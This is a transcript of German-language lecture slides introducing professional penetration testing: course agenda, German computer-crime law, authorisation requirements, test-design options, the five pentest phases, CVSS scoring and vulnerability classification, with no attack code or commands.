penetration testing - wordpress.com · 2016. 4. 27. · märz 2015 penetration testing 2 dipl....
TRANSCRIPT
![Page 1: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/1.jpg)
Daniel Schalberger, SySS GmbH
1 März 2015 Penetration Testing
Daniel Schalberger, SySS GmbH
Penetration Testing
![Page 2: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/2.jpg)
Daniel Schalberger, SySS GmbH
2 März 2015 Penetration Testing
Dipl. Inform. Daniel Schalberger
Studium in Tübingen (Informatik, Mathe, BWL)
Seit 1999 selbstständig in den Bereichen
• Software-Entwicklung
• Web-Development
• IT-Beratung
Seit 2012 IT-Security Consultant bei der SySS GmbH
![Page 3: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/3.jpg)
Daniel Schalberger, SySS GmbH
3 März 2015 Penetration Testing
Tag 1: Grundlagen
• Gestaltungsmöglichkeiten • Testmodule • Abschätzung des Testaufwands • Bewertung von Ergebnissen und Dokumentation • Nachverfolgung von Schwachstellen • ethische und Rechtliche Aspekte • Penetration Testing Standards • Hacking-Grundlagen (Footprinting, Portscanning,
Enumeration, Sniffing)
![Page 4: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/4.jpg)
Daniel Schalberger, SySS GmbH
4 März 2015 Penetration Testing
Tag 2: Webapplikation Hacking
• Schwachstellen in Webapplikationen
• HTTP-Protokoll
• OWASP Top 10
• Cross-Site Scripting
• SQL Injection
• Session Hijacking
• Verschlüsselung
![Page 5: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/5.jpg)
Daniel Schalberger, SySS GmbH
5 März 2015 Penetration Testing
Tag 3: Windows-Hacking
• Umgang mit Metasploit
• Angriffe gegen Windows-Netzwerke
• Privilege Escalation
• Backdoors
• Angriffe gegen Passwörter
![Page 6: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/6.jpg)
Daniel Schalberger, SySS GmbH
6 März 2015 Penetration Testing
Tag 4: WLAN Hacking
• Grundlagen der WLAN-Technologie
• WLAN-Sniffing
• Sicherheitsansätze des 802.11 Standards
• Erweiterung des 802.11 Standards
• Authentifizierung in 802.11i
• Funktionsweise der Verschlüsselungsmechanismen
• WLAN-Hacking
![Page 7: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/7.jpg)
Daniel Schalberger, SySS GmbH
7 März 2015 Penetration Testing
Tag 5: Exploit Development
• Exploit Development
• Prozessorarchitektur
• Grundlagen 80x86-Assembler
• Werkzeuge (Debugger & Co.)
• Stack-based Buffer Overflow
![Page 8: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/8.jpg)
Daniel Schalberger, SySS GmbH
8 März 2015 Penetration Testing
Begriffe
Schwachstellenscan: automatisierte Suche nach Schwachstellen
Penetrationstest: Angriff auf ein System mit dem Ziel, dort einzudringen. Auch Einsatz manueller Methoden. Ausnutzen gefundener Schwachstellen
Audit: Prüfung auf konzeptioneller Ebene (Interviews, Prozesse, etc.)
![Page 9: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/9.jpg)
Daniel Schalberger, SySS GmbH
9 März 2015 Penetration Testing
Hacken ist illegal! Strafgesetzbuch: § 202 (Verletzung des Briefgeheimnisses)
§ 202a: Ausspähen von Daten § 202b: Abfangen von Daten § 202c: Vorbereiten des Ausspähens und Abfangens von Daten (sog. Hackerparagraph)
§ 303 (Sachbeschädigung)
§ 303a Datenveränderung § 303b Computersabotage
![Page 10: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/10.jpg)
Daniel Schalberger, SySS GmbH
10 März 2015 Penetration Testing
§ 202a: Ausspähen von Daten
(1) Wer unbefugt sich oder einem anderen Zugang zu Daten, die nicht für ihn bestimmt und die gegen unberechtigten Zugang besonders gesichert sind, unter Überwindung der Zugangssicherung verschafft, wird mit Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe bestraft. (2) Daten im Sinne des Absatzes 1 sind nur solche, die elektronisch, magnetisch oder sonst nicht unmittelbar wahrnehmbar gespeichert sind oder übermittelt werden.
![Page 11: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/11.jpg)
Daniel Schalberger, SySS GmbH
11 März 2015 Penetration Testing
§ 202b: Abfangen von Daten
Wer unbefugt sich oder einem anderen unter Anwendung von technischen Mitteln nicht für ihn bestimmte Daten (§ 202a Abs. 2) aus einer nichtöffentlichen Datenübermittlung oder aus der elektromagnetischen Abstrahlung einer Datenverarbeitungsanlage verschafft, wird mit Freiheitsstrafe bis zu zwei Jahren oder mit Geldstrafe bestraft, wenn die Tat nicht in anderen Vorschriften mit schwererer Strafe bedroht ist.
![Page 12: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/12.jpg)
Daniel Schalberger, SySS GmbH
12 März 2015 Penetration Testing
§ 202c: Vorbereiten des Ausspähens und Abfangens von Daten
(1) Wer eine Straftat nach § 202a oder § 202b vorbereitet, indem er 1. Passwörter oder sonstige Sicherungscodes, die den Zugang zu Daten (§ 202a Abs. 2) ermöglichen, oder 2. Computerprogramme, deren Zweck die Begehung einer solchen Tat ist, herstellt, sich oder einem anderen verschafft, verkauft, einem anderen überlässt, verbreitet oder sonst zugänglich macht, wird mit Freiheitsstrafe bis zu einem Jahr oder mit Geldstrafe bestraft.
![Page 13: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/13.jpg)
Daniel Schalberger, SySS GmbH
13 März 2015 Penetration Testing
Was brauchen wir?
GEMEINSCHAFTSKARTE Du kommst aus dem Gefängnis frei. Diese Karte muss behalten werden, bis sie gebraucht oder verkauft wird.
![Page 14: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/14.jpg)
Daniel Schalberger, SySS GmbH
14 März 2015 Penetration Testing
Genehmigung
Für eine ordentliche Durchführung eines Penetrationstests sind im Vorfeld Genehmigungen aller Beteiligten Instanzen erforderlich.
• Inhaber von IP-Adresse (Provider)
• System-Inhaber
• Betreiber von Applikationen
• Betreiber der Datenbank
• usw.
![Page 15: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/15.jpg)
Daniel Schalberger, SySS GmbH
15 März 2015 Penetration Testing
Gestaltungsmöglichkeiten
1. Informationsbasis
2. Aggressivität
3. Umfang
4. Vorgehensweise
5. Technik
6. Ausgangspunkt
![Page 16: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/16.jpg)
Daniel Schalberger, SySS GmbH
16 März 2015 Penetration Testing
Informationsbasis
Testvariante Konsequenzen
Blackbox / Zero-Knowledge
• Kommt einem Angriff durch externe Hacker näher • Verbraucht Zeit für Ermittlung von Spezifikationen • Einige Angriffe erfordern Vorwissen
Greybox • Bevorzugter Mittelweg der SySS GmbH
Whitebox • Berücksichtigung des „Innentäter“-Szenarios / ehemaliger Mitarbeiter
• Einarbeitung in Spezifikationen erfordert Zeit • Aufdeckung von Risiken mit „Laborcharakter“
![Page 17: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/17.jpg)
Daniel Schalberger, SySS GmbH
17 März 2015 Penetration Testing
Aggressivität
Testvariante Konsequenzen
passiv • kein Ausnutzen von Schwachstellen, minimales Risiko
vorsichtig • Ausnutzung von Schwachstellen, wenn davon i.d.R. keine Gefahr ausgeht
abwägend • Abwägung Risiko vs. Erfolgswahrscheinlichkeit. Z.B: durchprobieren von Passwörtern
aggressiv • hohes Risiko (Ausfall vieler Komponenten möglich) • hoher Erkenntnisgewinn • z.B. Ausnutzung von Buffer-Overflow-
Schwachstellen bei nicht eindeutig identifizierten Zielen
![Page 18: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/18.jpg)
Daniel Schalberger, SySS GmbH
18 März 2015 Penetration Testing
Umfang
Testvariante Konsequenzen
fokussiert • Prüfung einzelner Systeme, Z.B. bei Erweiterung der Systemlandschaft
• geringer Erkenntnisgewinn: neue Systeme sind häufig sehr sicher
begrenzt • Beschränkung auf bestimmt Systemgruppen / Repräsentanten
vollständig • hoher Erkenntnisgewinn • evtl. lange Testdauer
![Page 19: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/19.jpg)
Daniel Schalberger, SySS GmbH
19 März 2015 Penetration Testing
Vorgehensweise
Testvariante Konsequenzen
verdeckt • nur ein minimaler Personenkreis weiß über den Test Bescheid
• Prüfung sekundärer Sicherheits-Systeme / Eskalations-Prozeduren
• vorsichtige Tests (Stealth)
offensichtlich • gesteigerte Effizienz durch Automatisierung • schnellere Reaktion auf mögliche Probleme (DoS)
![Page 20: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/20.jpg)
Daniel Schalberger, SySS GmbH
20 März 2015 Penetration Testing
Technik
Testvariante Konsequenzen
Netzwerk • entspricht typischem Hackerangriff
Physischer Zugriff • Erleichtert z.B. Sniffen, Umgehung von Firewalls, Angriffe über Schnittstellen (USB, Firewire)
Social Engineering • oft ist der Mensch das schwächste Glied • ethische Überlegungen berücksichtigen
![Page 21: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/21.jpg)
Daniel Schalberger, SySS GmbH
21 März 2015 Penetration Testing
Ausgangspunkt
Testvariante Konsequenzen
von außen • Test der DMZ (Webserver, Mailserver, VPN, etc.) • wenig Systeme mit wenig offenen Ports • vollständige Betrachtung aller Dienste möglich
von innen • Zugriff auf Systeme ohne Firewalls • viele Systeme mit vielen offenen Ports • eher stichprobenhaft • Netzwerkverkehr kann mit analysiert werden • Bildet Putzpersonal- / Praktikanten-Szenario ab
![Page 22: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/22.jpg)
Daniel Schalberger, SySS GmbH
22 März 2015 Penetration Testing
5 Phasen eines Pentests
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
![Page 23: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/23.jpg)
Daniel Schalberger, SySS GmbH
23 März 2015 Penetration Testing
Phase 1: Vorbereitung
• Rahmenbedingungen schaffen
• Ziele Definieren
• Module auswählen
• Aufwand abschätzen
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
![Page 24: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/24.jpg)
Daniel Schalberger, SySS GmbH
24 März 2015 Penetration Testing
Rahmenbedingungen Diskussion wichtiger Fragen: Wer ist, abgesehen von dem Auftraggeber, vom Penetrationstest betroffen? Genehmigungen einholen! Was ist bezüglich des Durchführungszeitraumes zu beachten? Welchen Aufwand bedeutet der Pentest für den Auftraggeber? Wieviel Vorlauf ist erforderlich? Welche Mitarbeiter des Auftraggebers sind durch den Penetrationstest betroffen? Wer kann Zugangsberechtigungen bereitstellen?
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
![Page 25: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/25.jpg)
Daniel Schalberger, SySS GmbH
25 März 2015 Penetration Testing
Rahmenbedingungen 2 Was ist im Falle einer Störung / eines Notfalls zu tun? Zum Beispiel • Totalausfall des Systems • Teilausfall von bestimmten Subsystemen • falsche Antworten des Systems • stark gestiegenen Antwortzeiten des
Systems • eingeleitete Gegenmaßnahmen bei
einem verdeckten Penetrationstest • Angriffe Dritter gegen das System
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
![Page 26: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/26.jpg)
Daniel Schalberger, SySS GmbH
26 März 2015 Penetration Testing
Auswahl der Testmodule • KICK: Kickoff-Workshop • PERIM: Perimetererkennung • INTERNET: Analyse aus dem Internet • WEBAPP: Prüfung von Webapplikationen • WEBSERVICE: Prüfung von Webservices • LAN/WAN: Sicherheitstests im Internen Netz • MOBILE: Prüfung von APPs / MDM-Lösungen • WLAN: Test von WLAN-Netzwerken • PIVOT: Kompromittierte DMZ • PRODUCT: Produkt- / Labortests • DOCU: Dokumentation
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
![Page 27: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/27.jpg)
Daniel Schalberger, SySS GmbH
27 März 2015 Penetration Testing
Aufwandsabschätzung
Überlegungen die in die Aufwandsabschätzung einfließen:
• Zielsetzung und Umfang des Penetrationstests
• Größe der zu testenden Infrastruktur
• Komplexität der zu testenden Infrastruktur
• Schutzbedarf der verarbeiteten Daten
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
![Page 28: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/28.jpg)
Daniel Schalberger, SySS GmbH
28 März 2015 Penetration Testing
Phase 2: Informationsbeschaffung
• Auswertung bereits bekannter Informationen
• Host Discovery
• Portscans
• Banner Grabbing
• Service Enumeration (SNMP, NetBIOS, …)
• Schwachstellenscan
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
![Page 29: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/29.jpg)
Daniel Schalberger, SySS GmbH
29 März 2015 Penetration Testing
Phase 3: Bewertung der Informationen
• Ziele für manuelle Angriffe auswählen
• Aufwand und Erfolgschancen abwägen (unter wirtschaftlichen Gesichtspunkten)
• Setzen von Prioritäten
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
![Page 30: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/30.jpg)
Daniel Schalberger, SySS GmbH
30 März 2015 Penetration Testing
Phase 4: Aktive Eindringversuche
• Ausnutzung gefundener oder vermuteter Schwachstellen
• mit hohem Risiko für die getesteten Systeme verbunden
• Dokumentation aller Angriffsversuche
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
![Page 31: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/31.jpg)
Daniel Schalberger, SySS GmbH
31 März 2015 Penetration Testing
Phase 5: Abschlussanalyse Am Ende stehen: Abschlussgespräch / -präsentation / -bericht Der Abschlussbericht sollte enthalten: • Durchgeführte Angriffe und gefundene
Schwachstellen in nachvollziehbarer Form (Screenshots, Programmausgaben etc.)
• Bewertungen der gefundenen Schwachstellen • Empfehlungen, wie die Schwachstellen
beseitigt werden können • Aktionsplan, Priorisierung
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
![Page 32: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/32.jpg)
Daniel Schalberger, SySS GmbH
32 März 2015 Penetration Testing
![Page 33: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/33.jpg)
Daniel Schalberger, SySS GmbH
33 März 2015 Penetration Testing
Klassifizierung von Schwachstellen
Klassifizierung erforderlich
• Vergleichbarkeit
• Priorisierung
Typische Fragen:
• „Wie gut sind wir?“
• „Wie sind wir im Vergleich mit anderen?“
• „Wie ist der Trend unserer Sicherheit?“
![Page 34: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/34.jpg)
Daniel Schalberger, SySS GmbH
34 März 2015 Penetration Testing
Common Vulnerability Scoring System (CVSS)
• Bewertungssystem für Sicherheitslücken
• Bewertung nach Fakten, kein (wenig) Interpretationsspielraum
• Vergleichbarkeit von Schwachstellen
Ausnutzbarkeit Stufen
Zugriff (Access Vector)
lokal (0.395) lokales Netz (0.646) Internet (1.0)
Schwierigkeit (Access Complex.)
hoch (0.35) mittel (0.61) gering (0.71)
Anmeldung (Authentication)
mehrfach (0.45) einfach (0.56) ohne (0.704)
Auswirkung Stufen
Vertraulichkeit (Confidentiality)
keine (0.0) teilweise (0.275) vollständig (0.660)
Integrität (Integrity)
keine (0.0) teilweise (0.275) vollständig (0.660)
Verfügbarkeit (Availablility)
keine (0.0) teilweise (0.275) vollständig (0.660)
![Page 35: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/35.jpg)
Daniel Schalberger, SySS GmbH
35 März 2015 Penetration Testing
CVSS-Berechnung
Exploitability = 20* Zugriff * Schwierigkeit * Anmeldung
Impact = 10.41*(1-(1-ConfImpact)*(1-IntegImpact)*(1-AvailImpact))
f(impact)= 0 if Impact=0, 1.176 otherwise
BaseScore = round_to_1_decimal(((0.6*Impact)+(0.4*Exploitability)-1.5)*f(Impact))
(Zahl zwischen 0 und 10)
Ausnutzbarkeit Stufen
Zugriff (Access Vector)
lokal (0.395) lokales Netz (0.646) Internet (1.0)
Schwierigkeit (Access Complex.)
hoch (0.35) mittel (0.61) gering (0.71)
Anmeldung (Authentication)
mehrfach (0.45) einfach (0.56) ohne (0.704)
Auswirkung Stufen
Vertraulichkeit (Confidentiality)
keine (0.0) teilweise (0.275) vollständig (0.660)
Integrität (Integrity)
keine (0.0) teilweise (0.275) vollständig (0.660)
Verfügbarkeit (Availablility)
keine (0.0) teilweise (0.275) vollständig (0.660)
![Page 36: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/36.jpg)
Daniel Schalberger, SySS GmbH
36 März 2015 Penetration Testing
CVSS: Beispiel 1 – unverschlüsseltes FTP
CVSS Base Score: 2.4
Ausnutzbarkeit Stufen
Zugriff (Access Vector)
lokal (0.395) lokales Netz (0.646) Internet (1.0)
Schwierigkeit (Access Complex.)
hoch (0.35) mittel (0.61) gering (0.71)
Anmeldung (Authentication)
mehrfach (0.45) einfach (0.56) ohne (0.704)
Auswirkung Stufen
Vertraulichkeit (Confidentiality)
keine (0.0) teilweise (0.275) vollständig (0.660)
Integrität (Integrity)
keine (0.0) teilweise (0.275) vollständig (0.660)
Verfügbarkeit (Availablility)
keine (0.0) teilweise (0.275) vollständig (0.660)
![Page 37: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/37.jpg)
Daniel Schalberger, SySS GmbH
37 März 2015 Penetration Testing
CVSS: Beispiel 2 – FTP mit SSLv2-Unterstützung
CVSS Base Score: 5.0
Ausnutzbarkeit Stufen
Zugriff (Access Vector)
lokal (0.395) lokales Netz (0.646) Internet (1.0)
Schwierigkeit (Access Complex.)
hoch (0.35) mittel (0.61) gering (0.71)
Anmeldung (Authentication)
mehrfach (0.45) einfach (0.56) ohne (0.704)
Auswirkung Stufen
Vertraulichkeit (Confidentiality)
keine (0.0) teilweise (0.275) vollständig (0.660)
Integrität (Integrity)
keine (0.0) teilweise (0.275) vollständig (0.660)
Verfügbarkeit (Availablility)
keine (0.0) teilweise (0.275) vollständig (0.660)
![Page 38: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/38.jpg)
Daniel Schalberger, SySS GmbH
38 März 2015 Penetration Testing
CVSS: Fazit
• Problem 1: Abschalten der Verschlüsselung minimiert CVSS-Score
• Problem 2: Es bleibt Interpretationsspielraum
• Daher: weitere „Verbesserungen“:
– CVSS Temporal Score
– CVSS Environmental Score
![Page 39: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/39.jpg)
Daniel Schalberger, SySS GmbH
39 März 2015 Penetration Testing
Einfache Klassifizierung
Risikoklasse Beschreibung
Hohes Risiko Es gelingt Zugriff auf Daten, auf die nicht zugegriffen werden darf. Nicht berücksichtigt ist die Werthaltigkeit der betroffenen Daten
Mittleres Risiko Sicherheitslücken, die erst zusammen mit weiteren, auch menschlichen, Komponenten geeignet sind, einen Sicherheitsvorfall zuzulassen
Niedriges Risiko Schwächen, die keine Änderung oder Einsichtnahme durch nicht authentisierte Angreifer zulässt Ausnutzung nur theoretisch / Laborcharakter
Information Leaks Preisgabe von Informationen, die weitere Angriffe erleichtern: Versionsinformationen, Benutzernamen etc.
![Page 40: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/40.jpg)
Daniel Schalberger, SySS GmbH
40 März 2015 Penetration Testing
Nachverfolgung von Schwachstellen
Ein Penetrationstest stellt immer nur eine Momentaufnahme dar
IT-Umgebungen altern, dabei geht i.d.R. Sicherheit verloren
Daher:
• Nachtests
• Regelmäßige Prüfungen
• Langfristige Testpläne
